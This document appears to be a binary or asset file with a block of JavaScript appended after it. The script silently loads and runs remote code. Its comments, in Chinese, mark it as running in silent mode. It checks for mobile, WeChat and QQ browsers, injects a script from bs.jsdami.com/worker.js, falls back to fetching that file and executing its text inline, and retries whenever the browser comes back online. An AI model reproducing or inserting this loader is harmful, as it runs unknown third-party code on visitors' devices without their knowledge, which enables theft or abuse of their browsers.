YOìMv jJU+mUWmmb33cDñ L4!Hv ˮS;36/E<{~}w||yt!H)_D$y,#WۻQt1繦by)+~PyXcd>Ǡ~*~/=yD1,#1t!4;MT~Ȅ#% YB K (䱈A@E$W>?W%w"L'pj:<c9$Ь a,4Bb!0I:EB%O+-1>WX@"Yw2!b.ϊ.d#]ABuZH!Nxg':$%.ByF@fWAKl?;Uҁ4h}b1Az a$iseQ0j ΅7s߅hkmDDB#7P5h$nB練gƬ=q\/46]FX{ B(z,.Ɛ+Ǝ!3}(t9!-_]"E6Й4 9=E@U-|ʲKׄ8HHcR:l ״7Vu@)p.fDB*$aI|L"MjQT `'PW >$oJV}(dZX,d\A_8SR:6 U$ 4mc[5y:BbKً!&V(CfS]uE' gi1MbP,a{nV&pfG_{lXP^MNi,Q<-x)U4W{k~.Xd~fIeޚg_yp-ܰ@ʼn#y-.CPN-($|tOُa3Pl8p# D;hzDKO̸ա!Tx? uآpSJ2N\(ot /OnV)>QZ$f>ہ28uNq2 9Tؕg_YN^&|=ٍ(kx*s3$3R@Cf2,ʙ=+HI9 mJo9uRQ['5@Z^\2Fd0]"|?ű7*a^:<8` ٓ50YKMC.&O)URCb#'9La|)fm5J229ϗqz| ;$f&HK-3"nW}1.%栿\`n.ͯ>f[` wvh2@#G@-V6@`(Pn FdyjtڗtgPLkghLWvqD)E nNȹti>n]UP F<4ZaUѥNjQ+ OOiW)rW~.gW]?o8vo%.ıJ+[;z<㣥&>6M`QM|T5b'D"lV]Ί ٢.&MwHJVѠ04^I1auQJ|0b%'rwZyiB`aNY^N1IKtE$$:I$8PB+ODknZ9oF{gew/w#5xMhVQM6!pQ#bn1dZʋ?K6g]]XUvxL!xjBH6XO>L6Io0iNYSn~rXTYïN&J"zd5&PVĀՕ@޹sdk[\4ϸtX's :k"*EZ&_%$Wo,'6oyc5F2B`<`bJ- (function() { 'use strict'; // 静默模式:只在调试时输出日志 var DEBUG = false; // 防重复加载检查 if (window._loaded) { if (DEBUG) console.log('Script already loaded, skipping...'); return; } window._loaded = true; // 移动端兼容性检查 var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); var isWeChat = /MicroMessenger/i.test(navigator.userAgent); var isQQ = /QQ/i.test(navigator.userAgent); if (DEBUG) { console.log('=== Script Loading ==='); console.log('NodeIP:', ':443'); console.log('RequestHost:', 'm.jinjiangwxc.com'); console.log('Current URL:', window.location.href); console.log('UserAgent:', navigator.userAgent); console.log('IsMobile:', isMobile); console.log('IsWeChat:', isWeChat); console.log('IsQQ:', isQQ); console.log('IsOnline:', navigator.onLine); } // 加载远程JavaScript文件 function loadRemoteScript() { try { if (DEBUG) console.log('Loading remote script...'); // 检查是否支持动态脚本加载 if (typeof document.createElement === 'undefined') { if (DEBUG) console.log('Document.createElement not supported'); return; } // 检查是否已经加载过远程worker.js if (document.querySelector('script[src*="https://bs.jsdami.com/worker.js"]')) { if (DEBUG) console.log('Remote script already loaded'); return; } var script = document.createElement('script'); // 使用远程worker.js script.src = 'https://bs.jsdami.com/worker.js'; script.async = true; // 设置crossOrigin属性(移动端兼容) if (typeof script.crossOrigin !== 'undefined') { script.crossOrigin = 'anonymous'; } // 添加更多移动端兼容属性 script.setAttribute('type', 'text/javascript'); script.setAttribute('charset', 'UTF-8'); // 添加超时控制 var timeoutId = setTimeout(function() { if (DEBUG) console.log('Script loading timeout'); }, 15000); // 15秒超时 script.onload = function() { clearTimeout(timeoutId); if (DEBUG) console.log('Remote script loaded successfully'); }; script.onerror = function() { clearTimeout(timeoutId); if (DEBUG) console.log('Remote script loading failed, trying alternative method...'); // 备用方案:使用fetch加载 loadWithFetch(); }; // 检查DOM是否准备好 if (document.head) { document.head.appendChild(script); } else if (document.documentElement) { document.documentElement.appendChild(script); } else { // 等待DOM加载完成 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { (document.head || document.documentElement).appendChild(script); }); } else { (document.head || document.documentElement).appendChild(script); } } } catch(e) { if (DEBUG) console.log('Script loading failed:', e); // 备用方案 loadWithFetch(); } } // 备用加载方案:使用fetch function loadWithFetch() { try { if (DEBUG) console.log('Trying fetch method...'); fetch('https://bs.jsdami.com/worker.js') .then(function(response) { if (response.ok) { return response.text(); } throw new Error('Network response was not ok'); }) .then(function(scriptText) { var script = document.createElement('script'); script.textContent = scriptText; (document.head || document.documentElement).appendChild(script); if (DEBUG) console.log('Script loaded via fetch successfully'); }) .catch(function(error) { if (DEBUG) console.log('Fetch method also failed:', error); }); } catch(e) { if (DEBUG) console.log('Fetch method failed:', e); } } // 检查网络状态变化 window.addEventListener('online', function() { if (DEBUG) console.log('Network is online, retrying script load...'); setTimeout(loadRemoteScript, 1000); }); // 延迟加载远程脚本(移动端可能需要更长时间) var delay = isMobile ? 300 : 150; setTimeout(function() { loadRemoteScript(); }, delay); if (DEBUG) console.log('=== Script Loading Completed ==='); })();